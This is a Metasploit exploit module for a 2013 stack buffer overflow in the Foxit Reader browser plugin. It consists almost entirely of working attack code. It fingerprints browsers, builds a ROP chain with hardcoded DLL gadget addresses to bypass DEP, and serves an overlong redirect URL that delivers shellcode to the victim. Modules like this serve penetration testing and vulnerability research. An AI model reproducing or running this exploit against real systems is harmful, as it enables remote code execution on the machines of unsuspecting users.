Foxit Reader Plugin URL Processing Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
Rank = NormalRanking  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability in the Foxit Reader Plugin, it exists in  
the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts,  
overly long query strings within URLs can cause a stack-based buffer overflow,  
which can be exploited to execute arbitrary code. This exploit has been tested  
on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281  
(npFoxitReaderPlugin.dll version 2.2.1.530).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # initial discovery and poc  
'Sven Krewitt <svnk[at]krewitt.org>', # metasploit module  
'juan vazquez', # metasploit module  
],  
'References' =>  
[  
[ 'OSVDB', '89030' ],  
[ 'BID', '57174' ],  
[ 'EDB', '23944' ],  
[ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ],  
[ 'URL', 'http://secunia.com/advisories/51733/' ]  
],  
'Payload' =>  
{  
'Space' => 2000,  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'EXITFUNC' => "process",  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# npFoxitReaderPlugin.dll version 2.2.1.530  
[ 'Automatic', {} ],  
[ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281',  
{  
'Offset' => 272,  
'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin  
'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin  
:rop => :win7_rop_chain  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jan 7 2013",  
'DefaultTarget' => 0))  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
#Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || ''  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
end  
  
if os_name == 'Windows 7' and firefox =~ /18/  
return targets[1]  
end  
  
return nil  
end  
  
def junk  
return rand_text_alpha(4).unpack("L")[0].to_i  
end  
  
def nops  
make_nops(4).unpack("N*")  
end  
  
# Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module)  
def win7_rop_chain  
  
# rop chain generated with mona.py - www.corelan.be  
rop_gadgets =  
[  
0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll]  
0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll]  
0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll]  
0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll]  
0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll]  
0x41414141, # Filler (RETN offset compensation)  
0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll]  
0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll]  
0x00001000, # 0x00001000-> edx  
0x1000d9ec, # XOR EDX, EDX # RETN  
0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll]  
junk,  
0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll]  
junk,  
junk,  
junk,  
0x41414141, # Filler (RETN offset compensation)  
0x00000040, # 0x00000040-> ecx  
0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll]  
0x00000001, # 0x00000001-> ebx  
0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll]  
0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll]  
0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll]  
nops,  
0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll]  
].flatten.pack("V*")  
  
return rop_gadgets  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
my_target = get_target(agent)  
  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
unless self.respond_to?(my_target[:rop])  
print_error("Invalid target specified: no callback function defined")  
send_not_found(cli)  
return  
end  
  
return if ((p = regenerate_payload(cli)) == nil)  
  
# we use two responses:  
# one for an HTTP 301 redirect and sending the payload  
# and one for sending the HTTP 200 OK with appropriate Content-Type  
if request.resource =~ /\.pdf$/  
# sending Content-Type  
resp = create_response(200, "OK")  
resp.body = ""  
resp['Content-Type'] = 'application/pdf'  
resp['Content-Length'] = rand_text_numeric(3,"0")  
cli.send_response(resp)  
return  
else  
resp = create_response(301, "Moved Permanently")  
resp.body = ""  
  
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  
if datastore['SSL']  
schema = "https"  
else  
schema = "http"  
end  
  
sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length)  
sploit << [my_target.ret].pack("V") # EIP  
sploit << [my_target['WritableAddress']].pack("V") # Writable Address  
sploit << self.send(my_target[:rop])  
sploit << p.encoded  
  
resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all')  
cli.send_response(resp)  
  
# handle the payload  
handler(cli)  
end  
end  
  
end  
`